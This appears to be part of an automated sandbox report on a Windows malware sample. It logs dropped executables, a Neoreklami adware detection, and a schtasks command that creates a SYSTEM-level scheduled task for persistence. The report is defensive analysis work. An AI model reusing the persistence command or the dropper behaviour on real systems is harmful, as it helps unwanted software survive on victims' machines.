Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\uninstall\is-R79QI.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Channel2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\is-75FQC.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File created: C:\Users\user\AppData\Local\Temp\IZImiIFXXrvtVOHFozZW.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\is-O04L0.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	File created: C:\ProgramData\Edrax Smart Maker 9.28.47\Edrax Smart Maker 9.28.47.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stories[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\is-IKU3H.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\univ[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\CheckTool[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\is-86R9G.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	File created: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\setup[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\is-5ANFC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\is-IVTOI.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	File created: C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	File created: C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Y-Cleaner.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	File created: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	File created: C:\Users\user\AppData\Local\Play Glock\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\dll[1]	Jump to dropped file

Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

File created: C:\ProgramData\Edrax Smart Maker 9.28.47\Edrax Smart Maker 9.28.47.exe

Jump to dropped file

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\dll[1]			Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]			Jump to dropped file

Boot Survival

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8132, type: MEMORYSTR

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\bMvfdBTccYfZYKRCwN.job

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00423C1C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	11_2_00423C1C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00423C1C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	11_2_00423C1C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004241EC IsIconic,SetActiveWindow,SetFocus,	11_2_004241EC
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004241A4 IsIconic,SetActiveWindow,	11_2_004241A4
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00418394 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	11_2_00418394
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0042286C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	11_2_0042286C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004833BC IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	11_2_004833BC
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004175A8 IsIconic,GetCapture,	11_2_004175A8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00417CDE IsIconic,SetWindowPos,	11_2_00417CDE
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00417CE0 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	11_2_00417CE0

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Code function: 11_2_0041F128 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

11_2_0041F128

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
